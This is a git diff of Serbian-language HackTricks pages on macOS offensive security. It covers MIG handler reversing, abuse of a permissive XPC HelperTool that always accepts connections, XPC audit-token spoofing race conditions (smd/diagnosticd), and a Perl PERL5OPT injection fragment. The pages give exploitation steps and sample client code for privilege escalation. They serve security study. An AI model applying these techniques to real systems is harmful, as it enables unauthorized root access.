// Ovo čuva u rax pokazivač na poziv koji treba biti izvršen
|
||||
// Proverite upotrebu adrese 0x100004040 (niz adresa funkcija)
|
||||
// 0x1f4 = 500 (početni ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
|
@ -340,7 +323,7 @@ if (CPU_FLAGS & NE) {
|
|||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Ista if else struktura kao u prethodnoj verziji
|
||||
// Isto if else kao u prethodnoj verziji
|
||||
// Proverite upotrebu adrese 0x100004040 (niz adresa funkcija)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
|
@ -372,12 +355,12 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Zapravo, ako odete na funkciju **`0x100004000`** pronaći ćete niz struktura **`routine_descriptor`**. Prvi element strukture je **adresa** gde je **funkcija** implementirana, a **struktura zauzima 0x28 bajtova**, tako da svakih 0x28 bajtova (počevši od bajta 0) možete dobiti 8 bajtova i to će biti **adresa funkcije** koja će biti pozvana:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Zapravo, ako odete na funkciju **`0x100004000`** pronaći ćete niz struktura **`routine_descriptor`**. Prvi element strukture je **adresa** gde je **funkcija** implementirana, a **struktura zauzima 0x28 bajta**, tako da svakih 0x28 bajta (počevši od bajta 0) možete dobiti 8 bajtova i to će biti **adresa funkcije** koja će biti pozvana:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ovi podaci mogu biti izvađeni [**korišćenjem ovog Hopper skripta**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
|
||||
<details>
|
||||
|
@ -386,7 +369,7 @@ Ovi podaci mogu biti izvađeni [**korišćenjem ovog Hopper skripta**](https://g
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -18,11 +18,11 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
Apple takođe predlaže još jedan način za autentifikaciju da li povezani proces ima **dozvole da pozove izloženu XPC metodu**.
|
||||
|
||||
Kada aplikacija treba da **izvrši akcije kao privilegovani korisnik**, umesto pokretanja aplikacije kao privilegovani korisnik, obično instalira kao root HelperTool kao XPC servis koji može biti pozvan iz aplikacije da izvrši te akcije. Međutim, aplikacija koja poziva servis treba da ima dovoljno autorizacije.
|
||||
Kada aplikacija treba da **izvrši akcije kao privilegovani korisnik**, umesto pokretanja aplikacije kao privilegovani korisnik, obično instalira kao root HelperTool kao XPC servis koji može biti pozvan iz aplikacije da izvrši te akcije. Međutim, aplikacija koja poziva servis treba imati dovoljno autorizacije.
|
||||
|
||||
### ShouldAcceptNewConnection uvek YES
|
||||
|
||||
Primer se može pronaći u [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). U `App/AppDelegate.m` pokušava da se **poveže** sa **HelperTool**-om. A u `HelperTool/HelperTool.m` funkcija **`shouldAcceptNewConnection`** **neće proveriti** nijedan od prethodno navedenih zahteva. Uvek će vraćati YES:
|
||||
Primer se može pronaći u [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). U `App/AppDelegate.m` pokušava da se **poveže** sa **HelperTool**-om. A u `HelperTool/HelperTool.m` funkcija **`shouldAcceptNewConnection`** **neće proveravati** nijedan od prethodno navedenih zahteva. Uvek će vraćati YES:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -184,7 +184,7 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
Ovo znači da će na kraju ovog procesa, dozvole deklarisane unutar `commandInfo` biti sačuvane u `/var/db/auth.db`. Primetite kako tamo možete pronaći za **svaku metodu** koja će **zahtevati autentifikaciju**, **ime dozvole** i **`kCommandKeyAuthRightDefault`**. Ovaj poslednji **ukazuje ko može dobiti ovu dozvolu**.
|
||||
Ovo znači da će na kraju ovog procesa, dozvole deklarisane unutar `commandInfo` biti sačuvane u `/var/db/auth.db`. Primetite kako tamo možete pronaći za **svaku metodu** koja će **zahtevati autentikaciju**, **ime dozvole** i **`kCommandKeyAuthRightDefault`**. Ovaj poslednji **ukazuje ko može dobiti ovu dozvolu**.
|
||||
|
||||
Postoje različiti opsezi koji ukazuju ko može pristupiti dozvoli. Neki od njih su definisani u [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (sve ih možete pronaći [ovde](https://www.dssw.co.uk/reference/authorization-rights/)), ali ukratko:
|
||||
|
||||
|
@ -268,7 +268,9 @@ Sve konfiguracije dozvola možete pronaći [ovde](https://www.dssw.co.uk/referen
|
|||
3. **'session-owner': 'true'**
|
||||
* Ako je postavljen na `true`, vlasnik sesije (trenutno prijavljeni korisnik) automatski bi dobio ovo pravo. Ovo može zaobići dodatnu autentikaciju ako je korisnik već prijavljen.
|
||||
4. **'shared': 'true'**
|
||||
* Ovaj ključ ne dodeljuje prava bez autentikacije. Umesto toga, ako je postavljen na `true`, to znači da se jednom kada je pravo autentifikovano, može deliti među više procesa bez potrebe da se svaki ponovo autentifikuje. Međutim, početno dodeljivanje prava i dalje bi zahtevalo autentikaciju osim ako nije kombinovano sa drugim ključevima poput `'authenticate-user': 'false'`.
|
||||
* Ovaj ključ ne dodeljuje prava bez autentikacije. Umesto toga, ako je postavljen na `true`, to znači da jednom kada je pravo autentifikovano, može se deliti među više procesa bez potrebe da se svaki ponovo autentifikuje. Međutim, početno dodeljivanje prava i dalje zahteva autentikaciju osim ako nije kombinovano sa drugim ključevima poput `'authenticate-user': 'false'`.
|
||||
|
||||
Možete [koristiti ovaj skript](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) da biste dobili zanimljiva prava:
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -279,13 +281,13 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
|
|||
Rights with 'session-owner': 'true':
|
||||
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||
```
|
||||
## Reversiranje autorizacije
|
||||
## Revertovanje autorizacije
|
||||
|
||||
### Provera da li se koristi EvenBetterAuthorization
|
||||
|
||||
Ako pronađete funkciju: **`[HelperTool checkAuthorization:command:]`** verovatno je da proces koristi prethodno pomenutu šemu za autorizaciju:
|
||||
Ako pronađete funkciju: **`[HelperTool checkAuthorization:command:]`**, verovatno proces koristi prethodno pomenutu šemu za autorizaciju:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zatim, ako ova funkcija poziva funkcije poput `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, koristi [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
|
@ -297,7 +299,7 @@ Zatim, trebate pronaći šemu protokola kako biste mogli uspostaviti komunikacij
|
|||
|
||||
Funkcija **`shouldAcceptNewConnection`** ukazuje na izvođenje protokola:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
U ovom slučaju, imamo isto kao i u EvenBetterAuthorizationSample, [**proverite ovu liniju**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
|
@ -339,7 +341,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
|||
U ovom primeru je kreirano:
|
||||
|
||||
* Definicija protokola sa funkcijama
|
||||
* Prazna autentifikacija koja se koristi za traženje pristupa
|
||||
* Prazna autentifikacija za korišćenje zahteva za pristup
|
||||
* Povezivanje sa XPC servisom
|
||||
* Poziv funkcije ako je povezivanje bilo uspešno
|
||||
```objectivec
|
||||
|
@ -429,7 +431,7 @@ NSLog(@"Finished!");
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -25,7 +25,7 @@ Ako ne znate šta su Mach poruke, počnite sa proverom ove stranice:
|
|||
{% endcontent-ref %}
|
||||
|
||||
Za sada zapamtite da ([definicija sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Mach poruke se šalju preko _mach porta_, koji je **kanal komunikacije sa jednim primaocem, više pošiljalaca** ugrađen u mach kernel. **Više procesa može slati poruke** ka mach portu, ali u svakom trenutku **samo jedan proces može čitati iz njega**. Kao i sa deskriptorima fajlova i soketima, mach portovi se dodeljuju i upravljaju od strane kernela, a procesi vide samo celobrojne vrednosti koje mogu koristiti da označe kernelu koji od njihovih mach portova žele da koriste.
|
||||
Mach poruke se šalju preko _mach porta_, koji je **kanal komunikacije sa jednim primaocem, više pošiljalaca** ugrađen u mach kernel. **Više procesa može slati poruke** ka mach portu, ali u svakom trenutku **samo jedan proces može čitati iz njega**. Kao i kod deskriptora fajlova i soketa, mach portovi se dodeljuju i upravljaju od strane kernela, a procesi vide samo celobrojne vrednosti koje mogu koristiti da označe kernelu koji od njihovih mach portova žele da koriste.
|
||||
|
||||
## XPC Veza
|
||||
|
||||
|
@ -35,15 +35,15 @@ Ako ne znate kako se uspostavlja XPC veza, proverite:
|
|||
[..](../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Sumiranje ranjivosti
|
||||
## Sumarno o ranjivosti
|
||||
|
||||
Ono što je važno znati je da je **XPC-ova apstrakcija jedan-na-jedan veza**, ali je zasnovana na tehnologiji koja **može imati više pošiljalaca, tako da:**
|
||||
Ono što je važno znati je da je **XPC-ova apstrakcija jedan-na-jedan veza**, ali se zasniva na tehnologiji koja **može imati više pošiljalaca, tako da:**
|
||||
|
||||
* Mach portovi su jedan primaoc, **više pošiljalaca**.
|
||||
* Audit token XPC veze je audit token **kopiran iz poslednje primljene poruke**.
|
||||
* Audit token XPC veze je audit token **kopiran iz najskorije primljene poruke**.
|
||||
* Dobijanje **audit tokena** XPC veze je ključno za mnoge **bezbednosne provere**.
|
||||
|
||||
Iako prethodna situacija zvuči obećavajuće, postoje neki scenariji gde to neće izazvati probleme ([sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
Iako prethodna situacija zvuči obećavajuće, postoje scenariji u kojima to neće izazvati probleme ([sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* Audit tokeni se često koriste za proveru autorizacije kako bi se odlučilo da li prihvatiti vezu. Pošto se ovo dešava korišćenjem poruke ka servisnom portu, **veza još uvek nije uspostavljena**. Više poruka na ovom portu će biti tretirano kao dodatni zahtevi za vezu. Dakle, bilo kakve **provere pre prihvatanja veze nisu ranjive** (ovo takođe znači da je unutar `-listener:shouldAcceptNewConnection:` audit token siguran). Zato **tražimo XPC veze koje proveravaju specifične akcije**.
|
||||
* XPC rukovaoci događajima se obrađuju sinhrono. Ovo znači da rukovalac događajem za jednu poruku mora biti završen pre nego što se pozove za sledeću, čak i na konkurentnim redovima za raspodelu. Dakle, unutar **XPC rukovaoca događajima audit token ne može biti prepisan** od strane drugih normalnih (ne-odgovornih!) poruka.
|
||||
|
@ -52,23 +52,23 @@ Dva različita načina na koje ovo može biti iskorišćeno:
|
|||
|
||||
1. Varijanta 1:
|
||||
* **Eksploit** se **povezuje** sa servisom **A** i servisom **B**
|
||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu A koju korisnik ne može
|
||||
* Servis **A** poziva **`xpc_connection_get_audit_token`** dok _**nije**_ unutar **rukovodioca događajem** za vezu u **`dispatch_async`**.
|
||||
* Tako da **različita** poruka može **prepisati Audit Token** jer se šalje asinhrono izvan rukovaoca događajem.
|
||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može**
|
||||
* Servis **A** poziva **`xpc_connection_get_audit_token`** dok _**nije**_ unutar **rukovalaca događajima** za vezu u **`dispatch_async`**.
|
||||
* Tako da **različita** poruka može **prepisati Audit Token** jer se šalje asinhrono izvan rukovaoca događajima.
|
||||
* Eksploit prosleđuje **servisu B SEND pravo ka servisu A**.
|
||||
* Dakle, svc **B** će zapravo **slati** **poruke** servisu **A**.
|
||||
* **Eksploit** pokušava da **pozove privilegovanu akciju.** U RC svc **A** **proverava** autorizaciju ove **akcije** dok je **svc B prepisao Audit token** (dajući eksploatatoru pristup pozivanju privilegovane akcije).
|
||||
* **Eksploit** pokušava da **pozove privilegovanu akciju**. U RC svc **A** **proverava** autorizaciju ove **akcije** dok je **svc B prepisao Audit token** (dajući eksploatatoru pristup pozivanju privilegovane akcije).
|
||||
2. Varijanta 2:
|
||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu A koju korisnik ne može
|
||||
* Eksploit se povezuje sa **servisom A** koji **šalje** eksploatatoru poruku očekujući odgovor na određenom **replay** **portu**.
|
||||
* Eksploit šalje **servisu** B poruku prosleđujući **taj odgovor port**.
|
||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može**
|
||||
* Eksploit se povezuje sa **servisom A** koji **šalje** eksploatatoru **poruku očekujući odgovor** na određenom **replay** **portu**.
|
||||
* Eksploit šalje **servisu B poruku prosleđujući** taj replay port.
|
||||
* Kada servis **B odgovori**, **šalje poruku servisu A**, **dok** **eksploit** šalje drugu **poruku servisu A** pokušavajući **dostići privilegovanu funkcionalnost** i očekujući da će odgovor od servisa B prepisati Audit token u savršenom trenutku (Trka stanja).
|
||||
|
||||
## Varijanta 1: pozivanje xpc\_connection\_get\_audit\_token van rukovaoca događajem <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
## Varijanta 1: pozivanje xpc\_connection\_get\_audit\_token van rukovaoca događajima <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
Scenario:
|
||||
|
||||
* Dva mach servisa **`A`** i **`B`** kojima možemo oboje da se povežemo (na osnovu sandbox profila i provere autorizacije pre prihvatanja veze).
|
||||
* Dva mach servisa **`A`** i **`B`** sa kojima možemo oboje da se povežemo (na osnovu sandbox profila i provere autorizacije pre prihvatanja veze).
|
||||
* _**A**_ mora imati **proveru autorizacije** za određenu akciju koju **`B`** može proslediti (ali naša aplikacija ne može).
|
||||
* Na primer, ako B ima neka **ovlašćenja** ili se izvršava kao **root**, to bi mu moglo omogućiti da zatraži od A da izvrši privilegovanu akciju.
|
||||
* Za ovu proveru autorizacije, **`A`** asinhrono dobija audit token, na primer pozivajući `xpc_connection_get_audit_token` iz **`dispatch_async`**.
|
||||
|
@ -84,7 +84,7 @@ Stoga, servis **B** je **`diagnosticd`** jer se izvršava kao **root** i može s
|
|||
Za izvođenje napada:
|
||||
|
||||
1. Inicirajte **vezu** sa servisom nazvanim `smd` koristeći standardni XPC protokol.
|
||||
2. Formirajte sekundarnu **vezu** sa `diagnosticd`. Suprotno normalnom postupku, umesto kreiranja i slanja dva nova mach porta, pravo slanja klijentskog porta se zamenjuje sa duplikatom **send prava** povezanog sa vezom `smd`.
|
||||
2. Formirajte sekundarnu **vezu** sa `diagnosticd`. Suprotno normalnom postupku, umesto stvaranja i slanja dva nova mach porta, pravo slanja klijentskog porta se zamenjuje sa duplikatom **send prava** povezanog sa vezom `smd`.
|
||||
3. Kao rezultat, XPC poruke mogu biti prosleđene `diagnosticd`, ali odgovori od `diagnosticd` se preusmeravaju na `smd`. Za `smd`, izgleda kao da poruke od korisnika i `diagnosticd` potiču iz iste veze.
|
||||
|
||||
![Slika koja prikazuje proces eksploatacije](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
|
@ -93,43 +93,43 @@ Za izvođenje napada:
|
|||
|
||||
## Varijanta 2: prosleđivanje odgovora
|
||||
|
||||
U XPC (Cross-Process Communication) okruženju, iako rukovaoci događajima ne izvršavaju se istovremeno, rukovanje odgovorima na poruke ima jedinstveno ponašanje. Konkretno, postoje dva različita metoda za slanje poruka koje očekuju odgovor:
|
||||
U XPC (Cross-Process Communication) okruženju, iako rukovaoci događajima ne izvršavaju se istovremeno, rukovanje odgovorima ima jedinstveno ponašanje. Konkretno, postoje dva različita metoda za slanje poruka koje očekuju odgovor:
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`**: Ovde se XPC poruka prima i obrađuje na određenom redu.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Nasuprot tome, u ovom metodu, XPC poruka se prima i obrađuje na trenutnom redu dispečovanja.
|
||||
|
||||
Ova razlika je ključna jer omogućava mogućnost **parsiranja odgovarajućih paketa istovremeno sa izvršavanjem rukovaoca događajima XPC**. Važno je napomenuti da, iako `_xpc_connection_set_creds` implementira zaključavanje radi zaštite od delimičnog prepisivanja audit tokena, ova zaštita se ne proširuje na ceo objekat veze. Kao rezultat, stvara se ranjivost gde audit token može biti zamenjen tokom intervala između parsiranja paketa i izvršavanja njegovog rukovaoca događajima.
|
||||
Ova razlika je ključna jer omogućava mogućnost **paralelnog parsiranja odgovarajućih paketa sa izvršavanjem rukovaoca događajima XPC**. Važno je napomenuti da, iako `_xpc_connection_set_creds` implementira zaključavanje radi zaštite od delimičnog prepisivanja audit tokena, ova zaštita se ne proširuje na ceo objekat veze. Kao rezultat, stvara se ranjivost gde audit token može biti zamenjen tokom intervala između parsiranja paketa i izvršavanja njegovog rukovaoca događajima.
|
||||
|
||||
Da bi se iskoristila ova ranjivost, potrebno je sledeće podešavanje:
|
||||
|
||||
* Dva mach servisa, nazvana **`A`** i **`B`**, oba koja mogu uspostaviti vezu.
|
||||
* Servis **`A`** treba da uključi proveru autorizacije za određenu akciju koju samo **`B`** može izvršiti (aplikacija korisnika ne može).
|
||||
* Servis **`A`** treba da pošalje poruku koja očekuje odgovor.
|
||||
* Korisnik može poslati poruku **`B`**-u na koju će odgovoriti.
|
||||
* Korisnik može poslati poruku **`B`**-u na koju će on odgovoriti.
|
||||
|
||||
Proces iskorišćavanja uključuje sledeće korake:
|
||||
Proces iskorišćavanja ove ranjivosti uključuje sledeće korake:
|
||||
|
||||
1. Sačekati da servis **`A`** pošalje poruku koja očekuje odgovor.
|
||||
2. Umesto direktnog odgovora **`A`**, preusmeriti port za odgovor i koristiti ga za slanje poruke servisu **`B`**.
|
||||
3. Zatim, poslati poruku koja uključuje zabranjenu akciju, sa očekivanjem da će biti obrađena istovremeno sa odgovorom od **`B`**.
|
||||
2. Umesto direktnog odgovora **`A`**-u, preusmeriti port za odgovor i koristiti ga za slanje poruke servisu **`B`**.
|
||||
3. Zatim, poslati poruku koja uključuje zabranjenu akciju, sa očekivanjem da će biti obrađena paralelno sa odgovorom od **`B`**.
|
||||
|
||||
Ispod je vizuelna reprezentacija opisanog scenarija napada:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Problemi sa otkrivanjem
|
||||
|
||||
* **Teškoće u Pronalaženju Instanci**: Pretraga instanci korišćenja `xpc_connection_get_audit_token` bila je izazovna, kako statički tako i dinamički.
|
||||
* **Teškoće u Pronalaženju Instanci**: Pretraga korišćenja `xpc_connection_get_audit_token` bila je izazovna, kako statički tako i dinamički.
|
||||
* **Metodologija**: Frida je korišćena za hakovanje funkcije `xpc_connection_get_audit_token`, filtrirajući pozive koji ne potiču od rukovaoca događajima. Međutim, ovaj metod je bio ograničen na hakovan proces i zahtevao je aktivnu upotrebu.
|
||||
* **Alati za Analizu**: Alati poput IDA/Ghidra korišćeni su za ispitivanje dostupnih mach servisa, ali je proces bio dugotrajan, otežan pozivima koji uključuju dyld deljeni keš.
|
||||
* **Ograničenja Skriptovanja**: Pokušaji skriptovanja analize poziva `xpc_connection_get_audit_token` iz `dispatch_async` blokova bili su ometani složenostima u parsiranju blokova i interakcijama sa dyld deljenim kešom.
|
||||
* **Alati za Analizu**: Alati poput IDA/Ghidra korišćeni su za ispitivanje dostupnih mach servisa, ali je proces bio dugotrajan, komplikovan pozivima koji uključuju dyld deljeni keš.
|
||||
* **Ograničenja Skriptovanja**: Pokušaji skriptovanja analize poziva `xpc_connection_get_audit_token` iz `dispatch_async` blokova bili su ometeni složenostima u parsiranju blokova i interakcijama sa dyld deljenim kešom.
|
||||
|
||||
## Popravka <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
* **Prijavljene Probleme**: Izveštaj je dostavljen Apple-u detaljno opisujući opšte i specifične probleme pronađene unutar `smd`.
|
||||
* **Odgovor Apple-a**: Apple je adresirao problem u `smd` zamenivši `xpc_connection_get_audit_token` sa `xpc_dictionary_get_audit_token`.
|
||||
* **Odgovor od Apple-a**: Apple je rešio problem u `smd` zamenivši `xpc_connection_get_audit_token` sa `xpc_dictionary_get_audit_token`.
|
||||
* **Priroda Popravke**: Funkcija `xpc_dictionary_get_audit_token` smatra se sigurnom jer direktno dobavlja audit token iz mach poruke povezane sa primljenom XPC porukom. Međutim, nije deo javnog API-ja, slično kao i `xpc_connection_get_audit_token`.
|
||||
* **Odsustvo Šire Popravke**: Ostaje nejasno zašto Apple nije implementirao sveobuhvatniju popravku, poput odbacivanja poruka koje se ne podudaraju sa sačuvanim audit tokenom veze. Moguće je da je faktor mogućnost legitimnih promena audit tokena u određenim scenarijima (npr. korišćenje `setuid`).
|
||||
* **Odsustvo Šire Popravke**: Nije jasno zašto Apple nije implementirao sveobuhvatniju popravku, poput odbacivanja poruka koje se ne podudaraju sa sačuvanim audit tokenom veze. Moguće je da je faktor mogućnost legitimnih promena audit tokena u određenim scenarijima (npr. korišćenje `setuid`).
|
||||
* **Trenutni Status**: Problem i dalje postoji u iOS 17 i macOS 14, predstavljajući izazov za one koji pokušavaju da ga identifikuju i razumeju.
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -48,7 +48,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
|||
```
